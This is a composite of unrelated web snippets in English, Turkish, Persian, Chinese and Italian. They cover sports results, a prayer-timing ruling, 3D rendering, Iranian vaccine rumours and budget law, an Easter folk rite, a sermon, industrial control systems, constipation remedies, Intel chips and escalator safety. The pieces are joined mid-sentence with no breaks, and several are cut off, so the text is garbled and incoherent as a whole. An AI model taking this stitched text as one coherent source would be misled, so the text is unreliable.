|Midlands||Nicholas Stalford||York County||State Winner!!!|
|Pee Dee||Dylan Elmore||Lee County|
|Savannah Valley||Reed Gunter||Orangeburg County|
|Upstate||Myles Hutton||Pickens County||State Winner!!!|
|Midlands||Nathan Stalford||York County|Soru: Namazın edâ niyetiyle kılınmasının sahih olması için ne kadarı edâ vaktinde kılınmış olması gerekir? Bu miktarın edâ vaktinde kılınıp kılınmadığında şüpheye düşerse hüküm nedir?
Cevap: Edâ sayılabilmesi için bir rekâtının son vakitte kılınması yeterlidir; vaktin, en azından bir rekât için yeterli olup olmadığında şüphe ettiğinizde edâ ve kaza kastı etmeksizin üzerinize olan farz namazı kılma niyetiyle namaz vazifesini yerine getirmelisiniz.View Bump Mapping
Bump Mapping is a rendering effect that makes an otherwise smooth surface appear to have an actual texture. Typically, gray scale maps are painted or generated (often from photos), and then applied to the object with the texture toolset. You can also create bumps with procedural shaders. At render time, the effect becomes apparent. You can see the effect in the viewport when you choose the Advanced Open GL option.Haberler
2016 yılı ilk çeyrek döneminde verilen yapı ruhsatları bina sayısında yüzde 28 artış yaşandı.
Türkiye İMSAD tarafından her ay yayınlanan Sektör Raporu, mayıs ayında iyimser tablolar çiziyor. Mayıs 2016 Sektör Raporu’na göre belediyeler tarafından yapı ruhsatı verilen yapıların 2016 yılının ilk üç ayında bir önceki yıla göre artış yaşandı.
Haberin tamamını okumak için tıklayınız.۰۱ اسفند ۹۹ ساعت ۱۴:۵۳
سخنگوی گمرک با تکذیب شایعه واردات واکسن فایزر به ایران عنوان کرد چنین شایعههایی همزمان با واردات واکسن روسی اسپوتنیک V برای چندقطبی کردن جامعه مطرح میشوند.
اخیرا شایعههایی مربوط به واردات واکسن فایزر به ایران برای استفاده مقامات در فضای مجازی منتشر شد که حواشی زیادی را به همراه داشت. در همین رابطه کیانوش جهانپور، رئیس مرکز روابط عمومی و اطلاعرسانی وزارت بهداشت، درمان و آموزش پزشکی در صفحه شخصی توییتری خود به این شایعهها واکنش نشان داد و آنها را تکذیب کرد. همچنین سخنگوی گمرک ایران در صفحه شخصی خود به این موضوع پرداخت و تاکید کرد واکسن آمریکایی فایزر به ایران وارد نشده است.
تکذیب شایعه واردات واکسن فایزر به ایران
سید روح الله لطیفی، سخنگوی گمرک ایران در صفحه شخصی خود نوشت:
واکسن فایزر به کشور وارد نشده و طرح شایعاتی همزمان با ورود دومین محموله واکسن روسی با نام «اسپوتنیک V»، خود موید اهداف و چند قطبی کردن جامعه است؛ به ویژه این که رهبر معظم انقلاب اسلامی در زمینه ورود واکسن فایزر موضعگیری صریحی داشتهاند. اکنون همه کارشناسان میدانند که واکسن فایزر باید در دمای منفی ۷۰ درجه سانتیگراد نگهداری ش
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且注意防潮。建议每两个月对采样头进行维护。
3.压差传感器保护：在使用过程中，应尽量避免渗漏和氧化现象的发生，可以在进气处加装过滤器，以减少氧化的概率，并定期检查管路和传感器。
4.更换滤网：采样器内置滤网需要长期更换，一般建议每月检查一次，更换滤网最好每年内完成一次。
5.储存保养：长期不使用时，应将采样头和排放管道封存于密闭袋中，防潮、防尘，以免出现内部积尘现象。نهمین نشست رعایت حقوق شهروندی به میزبانی منطقه ۹شهرداری تهران برگزار شد.
به گزارش روابط عمومی اداره کل دفتر هماهنگی و نظارت بر هیأت های رسیدگی به تخلفات اداری کارمندان شهرداری تهران، نهمین نشست از سلسله نشست های رعایت حقوق شهروندی به همت این اداره کل در شهرداری منطقه ۹ برگزار شد.
محمد داودی مدیرکل رسیدگی به تخلفات اداری کارمندان شهرداری تهران در این نشست از تشکیل ۶ کارگروه تخصصی با حضور حدود ۵۰ نفر از نخبگان شاغل در شهرداری تهران خبرداد و افزود: “به علت حجم بالای پرونده ها از سال ۹۵-۹۶ با شکل گیری این کارگروه ها در روند رسیدگی به پرونده ها تسریع شده است.
داودی در ادامه گفت: اداره کل رسیدگی به تخلفات اداری کارمندان نسبت به قبل با شدت بیشتری به پرونده ها رسیدگی می کند و از آنجائیکه جهل به قانون رافع مسئولیت نمی باشد، انتظار می رود با رویکرد پیشگیرانه، آموزش تخلفات اداری در شهرداری تهران مد نظر قرار گیرد.
وی ادامه داد: از صلاحیت های هیأت های رسیدگی به تخلفات اداری، اعلام شکایات مردمی است که در این خصوص تا کنون ۶۳ پرونده اعلامات شهروندان تشکیل شده است.
مدیرکل رسیدگی به تخلفات اداری کارمندان شهرداری تهران با بیان اینکه ماده ۱۹ قانون رسیدگی به تخلفات اداری هیأت ها را ملزم می نماید در صورت احراز وجه کیفری تخلفات اداری، موضوع را به دادسرا ارجاع نماید که تا کنون در خصوص ۴۵ پرونده اعمال ماده ۱۹ شده است.
مفاخریان شهردار منطقه ۹ تهران ضمن خرسندی از سهم کم این منطقه در پرونده های تخلفاتی ابراز امیدواری کرد با جدیت اداره کل رسیدگی به تخلفات اداری دیگر پرونده ای از منطقه ۹ در در هیأت های تخلفاتی وجود نداشته باشد.
سلسله نشست های رعایت حقوق شهروندی به همت اداره کل رسیدگی به تخلفات اداری و با حضور محمد داودی مدیر کل این اداره، حسن ابوتراب معاون پیگیری ویژه دفتر شهردار تهران و غلامرضا آبرودی مشاور شهردار تهران در مناطق شهرداری برگزار می شود.Incontro di Pasqua
Questa voce o sezione sull'argomento costume non cita le fonti necessarie o quelle presenti sono insufficienti.
L'incontro di Pasqua, diffuso non solo in Abruzzo ma anche in buona parte del Sud Italia e delle isole, rappresenta il festoso incontro tra il Cristo risorto e la Madonna ancora incredula della Resurrezione il giorno di Pasqua, verso mezzogiorno. La parte principale consiste nella corsa della statua della Madonna verso il Cristo risorto (a volte le due statue corrono una verso l'altra per incontrarsi al centro della piazza); la Vergine, riconosciuto il Figlio, lascia cadere il vestito nero simbolo del lutto, per far scoprire sotto la veste luttuosa un altro abito "a festa" molto ricamato. A Nicosia (Enna) ha luogo uno degli "Incontri" più suggestivi; la Madonna, attraverso un ingranaggio meccanico, abbraccia il Figlio Risorto tra il suono festoso delle campane, il fragore dei fuochi d'artificio, gli applausi delle migliaia di persone che affollano Piazza Garibaldi. Tutto ciò avviene alle ore 12:00, seguito dall'incoraggiante messaggio del Vescovo.
StoriaModifica
Gli incontri di Pasqua traggono origine nelle sacre rappresentazioni medievali che animavano tutta Europa. Le sacre rappresentazioni all'inizio erano viventi e si svolgevano in chiesa; dopo la Controriforma, che criticava le rappresentazioni viventi perché motivo di distrazione per i fedeli, i personaggi furono sostituiti da statue, issate su portantine dorate e portate a spalla da persone oppure dai membri delle confraternite e delle arcinconfraternite. Nel periodo barocco, inoltre, avvenne un'ulteriore novità: il rito dell'incontro cominciò ad essere inscenato nelle piazze o nelle vie principali. Questa novità non fu solo dell'Abruzzo, ma anche di tutti quei posti dove si svolgeva l'Incontro di Pasqua e, in generale, e le rappresentazioni della Settimana santa, anche se a Cuglieri in Sardegna il rito dell'incontro (S'Incontru in dialetto) continua a svolgersi in chiesa. Sembra che anticamente in tutti i posti, paesi e città che siano, si svolgessero queste rappresentazioni, ma piano piano solo alcune località conservarono la tradizione: qui in Abruzzo solo Sulmona, Spoltore, Lanciano, Corropoli, Pratola Peligna, Introdacqua e Prezza. Inoltre le autorità ecclesiastiche fino al XIX secolo (e addirittura, come in Calabria, fino alla metà del '900) si opposero fortemente a queste rappresentazioni, perché non rispettavano i vangeli canonici. Soprattutto il rito dell'Incontro, con la corsa della Madonna, faceva storcere il naso a preti e vescovi.
L'opposizione del cleroModifica
Infatti nei vangeli canonici, così come in quelli apocrifi, non si parla di un incontro tra Maria e suo Figlio risorto: ovviamente la Vergine venne a sapere della resurrezione, perché Lei il giorno dell'accaduto era nel cenacolo con tutti gli altri apostoli, e gli apostoli Pietro e Giovanni andarono al sepolcro per verificare l'avvenuta resurrezione e quando ritornarono al cenacolo annunciarono il miracolo già profetizzato a tutti gli altri "ospiti" del cenacolo, quindi anche Maria. Ma comunque non è riferita nessuna apparizione del Cristo a sua Madre, e tantomeno una corsa della Vergine in cui Essa si toglieva di colpo il vestito nero per far comparire quello a festa. Al popolo e alle stesse confraternite, però, non andava giù l'idea che Maria non abbia mai visto suo Figlio risorto: perché proprio lei, la Madonna, la Madre del Salvatore non aveva visto o incontrato Gesù? Allora iniziarono subito gli "Incontri di Pasqua" e la storia è già stata spiegata. Il clero, sia quello basso che quello alto, si oppose perché, oltre al fatto che l'incontro non è scritto nei Vangeli come già detto, ma anche perché rendeva troppo "umana" le figure di Gesù e Maria, e anche degli Apostoli o degli Angeli (se facevano parte anch'essi del rito): infatti qui i sentimenti giocano un ruolo importante, perché la Madonna, straziata dal dolore per la perdita del Figlio, non riesce a credere alla notizia della sua resurrezione, alla fine si convince, si avvia, forse l'hanno presa in giro, e poi ecco vede il Figlio, è felice, piange di gioia e corre incontro ad abbracciarlo. Il manto nero che cade e scopre l'abito festivo non ha solo una simbologia "materiale", ma è anche simbolo del lutto che va via, della Morte che non ha trionfato e della rinascita della natura con la Primavera. Il clero comunque si oppose apertamente e sembra che nel XIX secolo, in un periodo imprecisato, a Sulmona vi fu un vescovo che "veniva da lontano" e si oppose alla festa e cercò di farla sopprimere. I sulmonesi e le confraternite che curavano il rito dell'incontro a Sulmona (la famosa Madonna che Scappa) non gli diedero retta e la festa si fece comunque e poco tempo dopo, il vescovo fu trasferito in un'altra diocesi. (http://ricerca.quotidianiespresso.it/ilcentro/archivio/ilcentro/2005/03/23/CP2CZ_CP201.html)
L'incontro oggiModifica
Oggi l'ostilità della Chiesa verso queste manifestazioni di pietà popolare si è attenuata, se non del tutto scomparsa, e questi riti non solo sono uno dei punti di "attrazione" di una città, ma rivestono anche un'importante funzione sociale, culturale e religiosa.
Lo svolgimentoModifica
L'Incontro di Pasqua i
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��地接受众人的欢呼，而且默认了王的事实呢？最大的原因就是时候已经到了，一方面他要竖立、揭示他弥赛亚的身份，让众人了解，一方面也经由这样的举动故意造成对立，好使人把他送上十字架。他选择了骑驴驹进城而不是高头大马，一方面满足了旧约《撒迦利亚书》9：9节的预言：“看哪，你的王来到这里，是温柔的，又骑着驴，就是骑着驴驹子。”一方面也显明给众人看，他是谦卑的王，而他的国度并不在地上，他也不求地上的荣耀。而百姓居然也欢呼他为王，按照迎接王的礼仪迎接他，他们脱下衣服铺在路上，又砍下棕树枝铺在地上，并向他欢呼：“和散那！和散那！”
他们为何如此？一个比较合理的解释就是这是逾越节的时候，全以色列的百姓都要集中到耶路撒冷来过节，而其中好多很可能是从加利利一直跟随耶稣到耶路撒冷的，他们一路上都目睹了耶稣的所作所为，所以很自然地也了解了耶稣是谁。所以有一个说法是这样说的：“一个星期以后高喊钉死耶稣的也是这些人。”也不一定，最大的可能是耶路撒冷的犹太人。而我们可以相信跟随过耶稣的加利利人，大部分仍然是同情他的。
所以我们看这一切都是神迹，耶稣在一个很特殊的情形下，用了很特殊的方法传递了一个很特殊的信息，他就是那位以色列人期盼已久的弥赛亚、大卫的子孙、以色列的王。但是他的国度并不在地上，而且跟他们的期望相反，他不会得到马上的荣耀，相反，他要在十字架上受死，埋葬、三天后复活，才能得到最终的胜利。
那么对于今天的你我来说，耶稣做王有什么实际的意义呢？当然我们首先要建立一个王的形象，什么是王呢？王和他百姓的关系是什么？我们要在哪些方面体会这信息呢？因为你不能建立一个正确的形象，就没有办法正确感受其中的信息。就像一个姊妹曾经作过一个见证，这个姊妹在台湾长大，小时候她父亲是一个酒鬼，对她们很不好。所以在她信主以后，她每次祷告，开始祷告的时候就说：“亲爱的父呀，我爱你。”她就祷告不出来，因为当她讲这话的时候，就想到自己的父亲，她用了很长的时候得到医治，处理这段关系，她最终体会了天父的爱，反过来她也原谅了亲身的父亲。
像我们自己也经历过这种事，在我成长的背景里面，我们很少去表达我们的爱，所以在很长的时间里，当我唱诗歌或祷告的时候，说“天父，我爱你”，我也很不习惯，因为我想像如果我这样对我父亲说话，他肯定会受不了，也不能接受，所以我们都很不习惯。当我慢慢地去经历、去调整、去真正地把神当作我们的王，我们这样的来表达这样的情感的时候，就越来越经历到那种侍奉的喜乐、敬拜的喜乐。
在信主之前，我们想到王都想到什么呢？想到他是封建的君主，是残暴的、过时的、荒淫无耻等负面的形象。但是当我们去观察大卫这个理想君王的形象，我们就会发现有很多正面的意义：王代表神来治理百姓，他应该能够深深体会神的心意，他爱戴自己的子民，保护他们，供应他们的需要，并为了国度的需要尽心尽意的工作。更何况我们知道耶稣是万王之王，是我们的大牧人，更懂得如何治理和供应我们的需要，耶稣说：“天国不在这里，也不在那里，就在你们的心里。”从我们接受耶稣的那一时刻起，天国就已经临到了，他在我们的心里。但是在这个国度里我们需要一个王，这个王就是耶稣。所以我们常常要跟主说：“主啊，求你来做我心里的王。”我们不仅从黑暗的国度迁移到光明的国度，我们还应该在心中拥戴耶稣做王，尊崇他，顺从他，跟随他。
一、尊崇他，就是指我们的敬拜，我们需要尊崇跟敬畏，来仰望他的尊贵。
有一个记载，讲到意大利的一位著名诗人，有一次他在教会里敬拜的时候，他深深地沉浸在神的威严和庄重，他尊崇他，在里面默默地祷告、默想，完全被荣耀和尊贵充满，以至于他完全没有领会在他周围发生了什么事，他忘记了当教会号召大家跪下来的时候了没有跪，所以他的一些敌人就指责他，说他在该跪下的时候没有跪。这个诗人就反驳，说：“如果那些攻击我的人他们也能像我这样，用这样的眼光看我们的主是何等的尊贵和荣耀，他就不会在乎说他的周围发生了什么事情，他也不会去想、不会去关心我要跟着别人怎样做，因为我知道神在我的里面是王。”
今天因为我们信主的背景，是从无神的环境里出来的，不仅是无神，也是没有王的一个制度里面出来的。很多时候是没有权威的，我们不懂得什么是尊贵，也不懂得去尊崇，因为从前我们拜过假神，我们尊崇了一些暴君，把他当作神来拜。我们失望，所以我们就反弹，到后来我们就对任何的权威、任何的高高在上的事情都反感，以至于我们带着这种情绪进入到我们的信仰里面，我们就没有办法能够完完全全地来表达出我们对神的尊崇。这是我们需要来反省跟检讨的。我们要来学习更释放地来赞美我们的神。
有时候听起来是蛮肉麻的，如果我们赞美的对象是假的，当然不习惯，但是我们真正的在《诗篇》里看见我们这位神是何等值得我们去尊崇，如果我们愿意去学习、去操练，多读《诗篇》，把我们这些最深的情感表达出来，我们会发现我们会越来越懂得怎样去敬拜和尊崇我们的神。
二、我们的生活因为有王，所以要懂得顺服和交托。
有一位宣教士在老挝宣教，他就观察到一件事情，能够来说明一个王、王国和他子民的关系。因为他观察到在老挝和越南的边境上，因为那是在深山里，很多时候那个边界线是没有办法很清楚地划分的，那两国的官员是如何来收税呢？因为不同的国民交错地住在一起，这是一个很大的困难，他就发现他们的官员很聪明。原来这两个国家的人民是有很大的不同的，通常住在山坡上把房子建在山坡上面吃粳米的，这些人通常把房子装饰得更像印度的风格，这些人是属于老挝族的。而另外的一些人，他们通常把房子建在平地上，他们吃的长米的，他们的房子装饰得比较像中国的风格，这些人就是属于越南的。一个人他属于哪一个国家，不是根据他住在什么地方决定的，而是根据他的生活方式来决定的。
我们属于耶稣的子民，他是我们的王，不是因为我们表面上住在他的国度里，而是由我们生活里所表达出来的我们的习惯能够把我们属于他这件事表达出来。所以我们要很小心，在我们生命里活出顺服和交托。我们的一言一行都是代表了神，我们好像他的使者，在这个世界上向世人做见证，证明我们是属于他的。我们对他话语的顺服，也懂得交托，知道他在心里面管理我们，也知道他必定供应我们的需要，我们就能向世人显明我们的身份。
三、在侍奉上要学习殷勤和摆上。
有一位基督教的作家，他写了一本书叫《七十个七赦免的自由》，他在这里面就记录了一个故事，讲到维廉.布斯这位救世军的创办者，他在老年的时候失去了自己的视力，他的儿子就非常挣扎，不知道怎么把这个消息告诉父亲，告诉他说他的视力永远没办法恢复了。当维廉.布斯听到这个消息，他说：“你的意思是说我会变成瞎子吗？”他的儿子小心地回答说：“恐怕我们必须接受这个现实。”父亲继续说：“难道我就永远不能看到你的脸了吗？”儿子很伤心地回答说：“恐怕你真的没有办法看见了。”但是维廉.布斯很坚定地回答说：“我已经用我的眼睛做了我能够做的来荣耀神，虽然我没有了眼睛，我仍然要做我没有眼睛的时候能荣耀神的事。”这件事代表了一个服侍神的人的态度，他的摆上。
所以我们在侍奉里面很重要的，就是我们真的是要殷勤地摆上，我们知道神的荣耀吸引我们，我们就要来殷勤地
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ده است، اختصاص می یابد تا طبق موافقت نامه متبادله با سازمان مدیریت برنامه ریزی هزینه شود.
همچنین طرح های تملک دارایی های سرمایه ای دانشگاهی که در قوانین بودجه سالانه کشور ذیل ردیف های وزارت راه و شهرسازی ذکر می شود مشمول تسهیلات قانونی موضوع مقررات مربوط به دانشگاه ها برای اجرای طرح های تملک دارایی های سرمایه ای دانشگاهی وزارت علوم، تحقیقات و فناوری و بهداشت و درمان آموزش پزشکی.
نمایندگان مجلس همچنین با حذف بند (ل) ماده 37 نیز موافقت کردند.
در این بند آمده بود مازاد درآمدهای استانی نسبت به ارقام مصوب در سقف اعتباراتی که برای این منظور در قوانین بودجه سنواتی پیش بینی می شود با اعلام خزانه داری کل کشور در مقاطع سه ماهه توسط سازمان مدیریت برنامه ریزی توزیع می شود. 50 درصد از مازاد درآمدهای استان های توسعه یافته و صد درصد مازاد درآمد سایر استان ها به خود همان استان به نسبت 80 درصد تملک دارایی های سرمایه ای و 20 درصد اعتبارات هزینه ای اختصاص می یابد و مابقی اعتبار استان های توسعه یافته در اختیار سازمان مدیریت و برنامه ریزی قرار می گیرد و در راستای تعادل بخشی و ارتقای شاخص های توسعه یافتگی بین استان های توسعه نیافته توزیع شود.
همچنین نمایندگان مجلس بند (س) ماده 37 را حذف کردند. در این بند تصریح شده بود که هزینه خدمات مدیریت طرح های تملک دارایی های سرمایه ای بنیاد مسکن انقلاب اسلامی، سازمان مجری ساختمان ها و تاسیسات دولتی و عمومی، شرکت ساخت و توسعه زیربناهای حمل و نقل کشور، سازمان توسعه برق ایران، شرکت توسعه منابع آب و نیروی ایران، شرکت توسعه و نگهداری اماکن ورزشی، شرکت مادر تخصصی حمل و نقل ریلی کشور وابسته به وزارت کشور حداکثر تا 2.5 درصد اعتبارات ذیربط با احتساب اعتبارات تخصیص یافته از منابع بودجه عمومی کشور توسط سازمان مدیریت برنامه ریزی تعیین می شود.
شورای برنامه ریزی استان حداقل 8 درصد از اعتبارات عمرانی استان ها را در اختیار بنیاد مسکن انقلاب اسلامی استان و شهرستان قرار می دهد تا صرف اجرای طرح های عمرانی و بهسازی روستاهای استان شود.
45503福建省等离子体与磁共振研究重点实验室研究生
在Analytical Chemistry上发表分子成像分析的研究成果
近日，福建省等离子体与磁共振研究重点实验室生物医学网络分析团队在分析化学类顶级期刊《Analytical Chemistry》 (Impact Factor 6.78) 上发表论文“Data filtering and its prioritization in pipelines for spatial segmentation of mass spectrometry imaging”。该研究详细讨论了数据滤波算法对质谱成像(Mass Spectrometry Imaging，MSI)空间分割的影响，并提出了一种新型质谱成像空间分割流程，有效地提高了空间分割结果的准确性和可靠性。
MSI是由质谱技术发展而来的一种新型分子成像技术。它通过直接扫描生物组织切片，同时获得生物分子的定性、定量和定位的信息，具有免标记、高通量和高分辨等优点，在药物分析、癌症研究和环境毒理等各种研究领域具有广泛的应用前景。图像分割是MSI研究的一个重要步骤。由于仪器热噪声、基质解离噪声和离子噪声等干扰作用，常规算法对于结构微区的分割结果不甚理想。虽然有学者把数据滤波引入到MSI分割的流程中，以减少样品制备和仪器状态带来的噪声干扰。然而，数据滤波与MSI分割的其它步骤(如降维、聚类等)互相影响，造成分割结果的不确定性。该工作通过优化数据滤波在分割流程中的位置和算法，提出了一种改进的空间分割流程，有效地提高了分割结果的可靠性。
该研究工作使用脂质体特征的小鼠胎儿质谱成像数据，比较新的分割流程与其他常用的三种流程的空间分割结果。结果说明，新流程能够更好地区分图像中的亚组织/微区，在目视检测、空间均匀性、时间成本和鲁棒性等方面均优于其他传统方法，如图1 所示。这项研究提高MSI的空间分割效果，为研究人员评估和筛选药物/化学诱导的靶向器官，探索疾病进展和分子机制提供了有力的工具。
图1. 小鼠胎儿分析结果。(左) 基于导向滤波的分割流程及结果；(中) UMAP降维结果； (右) 冷冻切片。
论文由博士生郭磊和硕士生胡振兴为共同第一作者(Anal. Chem.2021, 93 (11): 4788–4793)。研究工作得到了国家自然科学基金(91843301，81871445和21705007)，国家重点研发计划(2017YFC1600505和2017YFE0191000)等科研基金的资助。
近年来，生物医学网络分析团队董继扬教授和许晶晶高级工程师，联合香港浸会大学蔡宗苇教授和中科院深圳先进院赵超副研究员，开展质谱成像及在环境毒理学的应用研究，将分子网络建模方法应用于质谱成像分析，并已获得一些重要的研究结果，有望在近期陆续发表。
相关链接：
生物医学网络分析实验室:https://bionet.xmu.edu.cn/yjfx/zpcx.htm一男一女离开了，林婉儿才从景观树后面出来，拿着手机看着刚刚那两人离开的地方。
“穆琛，你还在吗？”
穆琛在电话里并不能够听见那两人的谈话，但是刚刚婉儿不说话的时候，他就感觉不...
不再显示订阅提醒，自动订阅下一章To distribute or not to distribute, that is the question. Is it nobler to use one, large, centralized control system for the entire plant or process? Or is it better to use a number of small, field-based distributed controllers, each dedicated to a particular machine, process, or control loop? Those are the questions, and the answers are changing rapidly due to advances in communications, ruggedness, and software standards.
Process control systems used to be highly distributed because large, centralized, computer-based control systems were simply not available. Local processes were controlled by a combination of relays, timers, and pneumatic or electronic loop controllers. These hard-wired systems were interconnected by contacts and 4-20 mA signals. Operators and technicians roamed the plant in droves to monitor operations and maintain system components.
Ironically, the misnamed distributed control system (DCS) was perhaps the leading agent for control centralization and the chief cause of the demise of distributed controllers. These systems were installed in central control rooms and connected to field devices through miles of dedicated wiring. They served the industry well for decades and did much to improve the operation of large process plants.
In the past few years, a new class of field-based controllers has emerged and is making distributed control a more viable option. These controllers are small, inexpensive, rugged, and equipped with high-end communication capabilities. Cost-effective control of local processes is now possible, and fast, reliable networking of these islands of control is easily accomplished.
Figure 1: Hard Case
Some distributed controllers are housed in enclosures that can be field-mounted without control cabinets. (Source: Phoenix Contact)
Controllers that can be field-based in a distributed control system include micro-PLCs, smart I/O, smart motor starters, smart pushbuttons, smart valve controllers, field-mounted solid-state controllers (Figure 1), and single and multi-loop controllers. Smart products can perform local logic or process control functions and can communicate with central controllers over digital communication networks.
As recently as five years ago, field-based distributed control was impractical. In 1998, a 100 I/O PLC with an open communications protocol such as Ethernet cost about $5,000. At those prices it just didnt make sense to distribute control to the field. Today, a 100 I/O PLC with Ethernet can be purchased for less than $500.
Comparable performance increases can be found in field-mounted solid-state controllers and in single and multi-loop controllers. Smart components with open communications protocols such as I/O, motor starters, pushbuttons, and valve controllers are recent additions to the field-based distributed control team. These products add local logic and process control along with digital communications into footprints not much larger than those required for similar "dumb" components.
These incredible leaps in performance make distributed control a much more attractive option for many processes.
The Case for Field-Based
Technology has made distributed control viable, but process needs are driving its adoption. "Field-based controllers are faster and can be dedicated to a specific control application," says Matt Bothe, senior automation engineer, CRB Consulting Engineers, Plymouth Meeting, Pa. "Distribution
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cudun ihtiyacı olan gıdayı zamanında ve yeteri kadar alamama demektir. Örnek verelim, bulgur pilavını yemeyen insan sağlıksız besleniyor demektir. Çünkü bulgurda bağırsakların çalışmasına yardımcı olacak sellülozik madde vardır. Ama çok insan bulgur yemez. Yine örneğin, hayatımıza ekmek arası bir düzen girdi. Yarım ekmek döner, hamburger, dürüm vs gibi Sulu yemekler alışkanlığı neredeyse yok olacak. Hepsinden önemlisi sofrada yemek yerine ayak üstü çabuk çabuk bir şeyler tıkınıp sadece karın doyurmak mantığı. Diyetimizdeki liflerin yeteri kadar olması gerekir, çünkü lifler emilmeyip su çekerek dışkı hacminin oluşmasına, ve dışkının yumuşamasını sağlar. Kepek, lifin en önemli kaynağıdır. Ayrıca meyve ve sebzelerde de bol miktarda lif bulunur. Ayrıca bol su, meyve suyu, ayran için. Kafein içeren kola ve kahve gibi içecekler dışkıdaki su miktarını azalttığı için mümkün oldukça az alınmalıdır.
Uzun süre kabızlık çekiyorsanız ve sadece kabızlık ilaçları ile tuvalete çıkabiliyoranız bu kısır döngünün kırılması, kabızlığa neden olabilecek bir hastalık varsa bunun araştırılması için doktora gitmelisiniz. Özellikle 40 yaşın üstünde olup yakın zamanda başlamış, nedeni açıklanamayan kabızlık ve kilo kaybı varsa, Dışkılama ile birlikte kan gelirse, Çabuk yorulma, halsizlik, soğuğa karşı toleranssızlık, ses kalınlaşması gibi şikayetleriniz varsa(guatr bezinin az çalışması neden olabilir) Şiddetli karın ağrısı, kusma varsa, Ayrıca ıkınmaya bağlı olarak makatta çatlak, yarık ya da basur varsa doktora başvurun.
Bağırsak hareketlerinin yeniden düzenlenmesi için yapabileceğiniz en önemli üç şey:
- BOL SU İÇMEK
- BOL LİFLİ GIDA ALMAK
- EGZERSİZ YAPMAK
Hafif kabızlığı olan birçok hasta yukardaki değişikliklerle tedavi olabilir. Buna cevap vermeyen hastalarda ek olarak bazı kabızlık ilaçları doktor kontrolünde geçici süre kullanılabilir. Kabızlık için kullanılan çeşitli ilaçlar vardır:
- Kitle oluşturucu laksatifler: Bu gruptaki ilaçlar sindirilmeyen bitkisel kaynaklı maddelerdir. Bu maddeler su tutarak şişer ve kitle etkisi oluştururlar. Diğer laksatfilere göre daha az bağımlılık oluşturduğu için daha güvenlidirler. Psylium, Kalsiyum polikarbofil, kepek, agar bu gruba aittir.
- Ozmotik etkili laksatifler:Bu gruptaki ilaçlar sünger gibi su çekerek etki gösterirler. Etkileri daha çabuk başlar. Sorbitol, lakloz, mannitol, magnezyum ve sodyum içeren bileşikler bu gruptandır.
- Stimulan laksatifler: Bu ilaçlar bağırsakta ritmik kasılma sağlarlar. Ayrıca bağırsak yüzeyi üzerinde tahriş edici etkisi vardır.Bu ilaçların uzun süre kullanılması bağırsak sinirlerinde zedelenmeye yol açabilir. Bisakodil, laktuloz,hint yağı bu gruptandır.
- Yumuşatıcı laksatifler:kalın bağırsaktaki dışkıyı ve bağırsak yüzeyini yumuşatarak ve yüzey gerilimini azalarak etki ederler. Sıvı vazelin, sıvı yağlar, gliserin, dokuzat sodyum bu gruptandır.
Hamilelik süresinde anne vücudunda bir takım hormonal değişiklikler olmaktadır. Bu hormonların bazıları sindirim sistemini de etkilemekte, mide, ince bağırsak ve kalın bağırsak da dahil olmak üzere tüm sindirim sisteminin hareketi azalmaktadır. Bu nedenle hamileliğin başlangıcından itibaren artan bir şekilde kabızlık görülür.Hamileliğin ilerlemesi ile büyüyen bebek ve rahim, karın içinde daha fazla yer kaplar ve özellikle kalın bağırsağın son kısmı üzerinde baskı olur. Bu durum da büyük aptesti zorlaştırır. Hamilelikte ve doğum sonrası emzirme problemlerinde akupunktur tedavisi çok yararlıdır.
Kabızlık, başta da belirttiğimiz gibi rahatsızlık olan vücudun verdiği en önemli işarettir. Bir sinyaldir. Dolayısıyla kabızlığın giderilmesi için kabızlığa sebep olan rahatsızlıkların tespit edilip giderilmesi lazımdır. Akupunkturla kabızlığın tedavisi o açıdan önemlidir. Akupunktur vücudu bir bütün olarak tedavi eder. Hormon dengesini düzenler, Bağışıklık sistemini düzenler, Bağırsağın kendi iç ve dış cidarının kanlanmasına ve beslenmesine sebep olur. Bağırsak boşaltım görevini daha sağlıklı yerine getirir. Sindirim sistemini düzenler.Intel has announced a new power technology to reduce battery power wastage and allow users to run laptops and other mobile devices longer.
Intel says only around half of a battery’s power is consumed by active computing using its processors – the rest is drained by “leaking” transistors when the machine is on standby or hibernating.
A new version of the company's 65-nanometer wafer-making process – codenamed “P1265” – is set to change things when it is applied to a large part of the Intel chip range in 2007.
The new process, which moves the transistors closer together to increase density and cut down on leakage, is expected to be used in the production of future chips such as Merom. Such processors are designed to consume only 10% of the power used by Intel's current Pentium chips.
With the number of transistors on a chip increasing rapidly to deliver faster speeds, Intel says that addressing power leakage rates can benefit the whole PC system.
Other companies such as Texas Instruments are also investing in new chip manufacturing technologies to reduce transistor leakage.
Intel already incorporates technologies such as SpeedStep and HyperThreading into its chipsets to manage and reduce power used by applications.نکات ایمنی پله برقی
به آرامی و با احتیاط راه بروید
اگر عجله دارید و مجبورید روی پله برقی راه بروید این کار را با احتیاط انجام دهید. احتمالا خودتان می دانید، اما ارزش تکرار کردن دارد.
فقط با پای پیاده
اگر با کالسکه، عصا، واکر یا وسیله نقلیه چرخ دار حرکت می کنید همیشه از آسانسور استفاده کنید حتی اگر مجبور شوید مدت طولانی صبر کنید یا مسیر خود را تغییر دهید.
دستگیره را بگیرید
به نظر بدیهی می آید اما همه فراموش می کنند این کار را انجام دهند. از دست دادن تعادل روی پله های متحرک پله برقی کار مشکلی نیست.
به قسمت های زیر دستگیره دست نزنید
این نکته را مخصوصا به کودکان تان گوشزد کنید زیرا ممکن است از این کار خوش شان بیاید.
کودکان یا کیسه ها را با یک دست محکم نگهدارید
اگر کودک تان آن قدر بزرگ شده که خودش می تواند از پله برقی استفاده کند بهتر است دست او را بگیرید تا بغلش کنید. اگر کیسه های زیادی دارید و به سختی آن ها را حمل می کنید بهتر است منتظر آسانسور بمانید.
دمپایی های راحتی و لای انگشتی می توانند خطرناک باشند
اگر لباسی به تن دارید که به راحتی گیر می کند و یا دمپایی به پا دارید که لیز می خورد هنگام استفاده از پله برقی احتیاط کنید.
اگر کودک تان بی حوصله است و نق می زند سعی نکنید او را به زور سوار پله برقی کنید
کنار بایستید و صبر کنید تاکودک آرام شود و بتواند بدون خطر سوار پله برقی شود.
جای دکمه توقف اضطراری را به خاطر بسپارید
بیشتر پله برقی ها حداقل یک دکمه توقف اضطراری دارند. جای آن را به خاطر بسپارید و اگر حادثه ای رخ داد و دکمه در دسترس شما نبود به دیگران بگویید از آن استفاده کنند.By James L. Chen, Adam Chen
